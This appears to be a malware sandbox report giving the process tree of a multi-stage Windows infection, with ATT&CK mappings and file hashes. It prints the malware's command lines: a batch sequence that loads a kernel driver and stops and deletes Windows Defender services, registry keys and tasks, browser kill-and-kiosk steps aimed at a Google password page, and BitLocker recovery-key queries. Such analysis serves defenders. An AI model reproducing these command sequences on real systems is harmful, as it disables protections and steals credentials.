        "C:\Users\Admin\AppData\Local\Temp\10451860101\trOUuPI.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3032
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4552
      - C:\Users\Admin\AppData\Local\Temp\10455080101\apple.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455080101\apple.exe"
        6⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3108
        
        C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:744
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1325.tmp\1326.tmp\1327.bat C:\Users\Admin\AppData\Local\Temp\272.exe"
        8⤵
        
        PID:3236
        
        C:\Users\Admin\AppData\Local\Temp\272.exe
        
        "C:\Users\Admin\AppData\Local\Temp\272.exe" go
        9⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4044
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\14FA.tmp\14FB.tmp\14FC.bat C:\Users\Admin\AppData\Local\Temp\272.exe go"
        10⤵
        Drops file in Program Files directory
        
        PID:2304
        
        C:\Windows\system32\sc.exe
        
        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
        11⤵
        Launches sc.exe
        
        PID:2360
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:924
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 1
        11⤵
        Delays execution with timeout.exe
        
        PID:4876
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:4292
        
        C:\Windows\system32\sc.exe
        
        sc start ddrver
        11⤵
        Launches sc.exe
        
        PID:1732
        
        C:\Windows\system32\takeown.exe
        
        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2964
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
        11⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4412
        
        C:\Windows\system32\sc.exe
        
        sc stop "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:1904
        
        C:\Windows\system32\sc.exe
        
        sc delete "WinDefend"
        11⤵
        Launches sc.exe
        
        PID:1748
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
        11⤵
        
        PID:4700
        
        C:\Windows\system32\sc.exe
        
        sc stop "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:400
        
        C:\Windows\system32\sc.exe
        
        sc delete "MDCoreSvc"
        11⤵
        Launches sc.exe
        
        PID:1044
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
        11⤵
        
        PID:1928
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:2044
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisSvc"
        11⤵
        Launches sc.exe
        
        PID:1592
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
        11⤵
        
        PID:3388
        
        C:\Windows\system32\sc.exe
        
        sc stop "Sense"
        11⤵
        Launches sc.exe
        
        PID:3892
        
        C:\Windows\system32\sc.exe
        
        sc delete "Sense"
        11⤵
        Launches sc.exe
        
        PID:4584
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
        11⤵
        
        PID:4616
        
        C:\Windows\system32\sc.exe
        
        sc stop "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:4544
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:4612
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        11⤵
        Modifies security service
        
        PID:2656
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:3244
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:3964
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        11⤵
        
        PID:4036
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:4676
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:4416
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        11⤵
        
        PID:4484
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:4540
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:2888
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        11⤵
        
        PID:3284
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:3200
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:4012
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        11⤵
        
        PID:3800
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:5052
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:904
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        11⤵
        
        PID:2356
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:1940
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:4524
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        11⤵
        
        PID:2360
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:924
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:3504
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        11⤵
        
        PID:4396
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:2040
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:2516
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        11⤵
        
        PID:1732
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:4340
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:2200
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        11⤵
        
        PID:1188
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:2092
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:1384
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        11⤵
        
        PID:4412
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:4172
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:748
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        11⤵
        
        PID:1044
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        11⤵
        
        PID:948
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        11⤵
        
        PID:3388
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        11⤵
        
        PID:4616
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        11⤵
        
        PID:2148
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:4652
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        11⤵
        Launches sc.exe
        
        PID:4540
      - C:\Users\Admin\AppData\Local\Temp\10455350101\158020eadb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455350101\158020eadb.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5588
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455350101\158020eadb.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5764
      - C:\Users\Admin\AppData\Local\Temp\10455360101\234f528cb4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455360101\234f528cb4.exe"
        6⤵
        
        PID:2056
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455360101\234f528cb4.exe"
        7⤵
        
        PID:5328
      - C:\Users\Admin\AppData\Local\Temp\10455370101\50d760b721.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455370101\50d760b721.exe"
        6⤵
        
        PID:6980
      - C:\Users\Admin\AppData\Local\Temp\10455380101\4b544fcda0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455380101\4b544fcda0.exe"
        6⤵
        
        PID:6516
      - C:\Users\Admin\AppData\Local\Temp\10455390101\cbbd1c5872.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455390101\cbbd1c5872.exe"
        6⤵
        
        PID:5852
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        Kills process with taskkill
        
        PID:11044
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        Kills process with taskkill
        
        PID:7336
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        Kills process with taskkill
        
        PID:8560
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        Kills process with taskkill
        
        PID:7668
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        Kills process with taskkill
        
        PID:9508
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:10020
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        
        PID:11296
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1948 -prefsLen 27099 -prefMapHandle 1952 -prefMapSize 270279 -ipcHandle 2036 -initialChannelId {bc9499eb-1cf7-4355-8329-429127228fcf} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        9⤵
        
        PID:9884
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2484 -prefsLen 27135 -prefMapHandle 2488 -prefMapSize 270279 -ipcHandle 2496 -initialChannelId {ba1cee7c-c135-4390-b504-032274728b55} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        9⤵
        
        PID:30796
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3676 -prefsLen 25213 -prefMapHandle 3680 -prefMapSize 270279 -jsInitHandle 3684 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3704 -initialChannelId {40ab5f8d-91bc-4db0-85b6-90d1e4527b64} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        9⤵
        
        PID:36784
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3892 -prefsLen 27325 -prefMapHandle 3896 -prefMapSize 270279 -ipcHandle 3672 -initialChannelId {575f5b77-ff44-4692-81e4-ec9d591cf5ef} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        9⤵
        
        PID:30940
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2932 -prefsLen 34824 -prefMapHandle 2936 -prefMapSize 270279 -jsInitHandle 3200 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3288 -initialChannelId {83b9a14e-af85-487d-a886-88a26fcd5ce3} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        9⤵
        
        PID:31124
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5212 -prefsLen 34905 -prefMapHandle 5216 -prefMapSize 270279 -ipcHandle 5220 -initialChannelId {1ba524fd-2033-4798-8969-602159260d5d} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
        9⤵
        
        PID:31620
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5228 -prefsLen 32952 -prefMapHandle 5380 -prefMapSize 270279 -jsInitHandle 5316 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5300 -initialChannelId {ab375538-09b9-4bc1-bf88-5c80f9bbc747} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        9⤵
        
        PID:32408
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5644 -prefsLen 32952 -prefMapHandle 5648 -prefMapSize 270279 -jsInitHandle 5652 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5624 -initialChannelId {37f54e1a-9310-44a5-9dee-feb9be768517} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
        9⤵
        
        PID:32508
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5768 -prefsLen 32952 -prefMapHandle 4524 -prefMapSize 270279 -jsInitHandle 5652 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5644 -initialChannelId {a46ec4ba-8f66-47c8-8829-54e31c1bf6b0} -parentPid 11296 -crashReporter "\\.\pipe\gecko-crash-server-pipe.11296" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        9⤵
        
        PID:32608
      - C:\Users\Admin\AppData\Local\Temp\10455400101\f7d0030ce5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455400101\f7d0030ce5.exe"
        6⤵
        
        PID:11240
      - C:\Users\Admin\AppData\Local\Temp\10455410101\f751045e79.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455410101\f751045e79.exe"
        6⤵
        
        PID:36572
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:36660
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:36676
      - C:\Users\Admin\AppData\Local\Temp\10455420101\0BiRjfE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455420101\0BiRjfE.exe"
        6⤵
        
        PID:33512
      - C:\Users\Admin\AppData\Local\Temp\10455440101\118af1a5f9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455440101\118af1a5f9.exe"
        6⤵
        
        PID:37096
      - C:\Users\Admin\AppData\Local\Temp\10455450101\39f104f836.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455450101\39f104f836.exe"
        6⤵
        
        PID:32804
      - C:\Users\Admin\AppData\Local\Temp\10455460101\0BiRjfE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455460101\0BiRjfE.exe"
        6⤵
        
        PID:12316
      - C:\Users\Admin\AppData\Local\Temp\10455480101\larBxd7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455480101\larBxd7.exe"
        6⤵
        
        PID:9920
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Cattle.psd Cattle.psd.bat & Cattle.psd.bat
        7⤵
        
        PID:9792
      - C:\Users\Admin\AppData\Local\Temp\10455490101\qhjMWht.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455490101\qhjMWht.exe"
        6⤵
        
        PID:34916
      - C:\Users\Admin\AppData\Local\Temp\10455500101\TbV75ZR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455500101\TbV75ZR.exe"
        6⤵
        
        PID:22720
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:22700
      - C:\Users\Admin\AppData\Local\Temp\10455510101\4a289d3a7d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10455510101\4a289d3a7d.exe"
        6⤵
        
        PID:13244

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:3700

C:\Program Files\Mesh Agent\MeshAgent.exe
"C:\Program Files\Mesh Agent\MeshAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:5200
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5900
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -noprofile -nologo -command -
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4864
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get C: -Type recoverypassword
  2⤵
  PID:5780
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get C: -Type recoverypassword
    3⤵
    PID:4044
- C:\Windows\system32\cmd.exe
  /c manage-bde -protectors -get F: -Type recoverypassword
  2⤵
  PID:812
- - C:\Windows\system32\manage-bde.exe
    manage-bde -protectors -get F: -Type recoverypassword
    3⤵
    PID:5640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5312

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:6088

C:\Users\Admin\AppData\Local\Temp\dbf9c9b26f\tgvazx.exe
C:\Users\Admin\AppData\Local\Temp\dbf9c9b26f\tgvazx.exe
1⤵
PID:6244

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
PID:6648

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
PID:6436

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:5752

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\gfD4SQ07ZqAnqT4j.exe
1⤵
PID:3304
- C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\gfD4SQ07ZqAnqT4j.exe
  C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\gfD4SQ07ZqAnqT4j.exe
  2⤵
  PID:17528
- - C:\Users\Admin\AppData\Local\Temp\angN2f5c\LVZxRClcQeqHAJzo.exe
    C:\Users\Admin\AppData\Local\Temp\angN2f5c\LVZxRClcQeqHAJzo.exe 17528
    3⤵
    PID:17560
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 17560 -s 660
      4⤵
      Program crash
      PID:9536
- - C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\OxqmpuzWlKnhEFeV.exe
    C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\OxqmpuzWlKnhEFeV.exe 17528
    3⤵
    PID:32248
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 32248 -s 1712
      4⤵
      Program crash
      PID:8244
- - C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\rkE4hIxXUgvnJc2Z.exe
    C:\Users\Admin\AppData\Local\Temp\5aT0WyqP\rkE4hIxXUgvnJc2Z.exe 17528
    3⤵
    PID:22644
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 22644 -s 624
      4⤵
      Program crash
      PID:13068

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 5936 -ip 5936
1⤵
PID:17516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 17560 -ip 17560
1⤵
PID:9424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 3668 -ip 3668
1⤵
PID:24444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 9712 -ip 9712
1⤵
PID:30704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 6740 -ip 6740
1⤵
PID:37516

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:37172

C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
1⤵
PID:12956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 32248 -ip 32248
1⤵
PID:7416

C:\Users\Admin\AppData\Local\Temp\dbf9c9b26f\tgvazx.exe
C:\Users\Admin\AppData\Local\Temp\dbf9c9b26f\tgvazx.exe
1⤵
PID:8

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
PID:5068

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
PID:6420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 9756 -ip 9756
1⤵
PID:34240

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:28896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 18108 -ip 18108
1⤵
PID:22844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 22644 -ip 22644
1⤵
PID:13508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

T1556

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Authentication Process

T1556

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Mesh Agent\MeshAgent.db

Filesize
154KB

MD5
73b3005335b612b18a29e743edb0bdcb

SHA1
ff918ee5671e69374672f3bc4d7f4d06b9f72dd2

SHA256
cacfae32ae2b5b5d604e47b56c66e8e14605165cd5b7b28febc3415833193d9b

SHA512
cd5fb1886783952f6a7eedf9e56e73e408196637c5c6f8696e3defb56033e30c0e10b95b9a1ba1225f411b3d0a83c204bfc1646f2a5622f8c08eeed3a12660d2

Download Submit
C:\Program Files\Mesh Agent\MeshAgent.db.tmp

Filesize
154KB

MD5
7d24493277bb44cde5dc72b2ab0aa09f

SHA1
bed959ccfd99e0b97f39648d7332dd5aeb9bf345

SHA256
10caa0a8dc494846cfe52895bda62ff13217912630b9ced33996e6c4604b45da

SHA512
5600bb08a1189091cc901afb27ef124f49a8c7ce7bbf6c50e316d18913255205fa35a6360ffadb974a996c8bcfc751c86db6d763fce6cfc78e2888a520d7f845

Download Submit
C:\Program Files\Mesh Agent\MeshAgent.exe

Filesize
3.3MB

MD5
91424f307b7f0e238aab1f06434a7dc4

SHA1
4fb5ec3082d3545a79e2ccbd4b624320cafd68f1

SHA256
cdc2aa09167bd32f9a01eb60414d0b8faaf8616b9a23a7fc1671bb6bc7f162a1

SHA512
6830052ce91c378e7e21c385fb9a522f57fa59d1082a460a26199dbcfa808b37abad741eb8bf7dfd746d522d37dc03ac9d1674fb429f988873eb6a53fde93f83

Download Submit
C:\ProgramData\4OLiepLcMu2h

Filesize
130KB

MD5
53e58fd34090892e358f099a06f6329c

SHA1
b2975bd4748152df75fa913735a4fe035a965ba6

SHA256
2a4616929df5e637ba5e85b0b782344f03a60c9ba532a83781a7704b04b2b9f7

SHA512
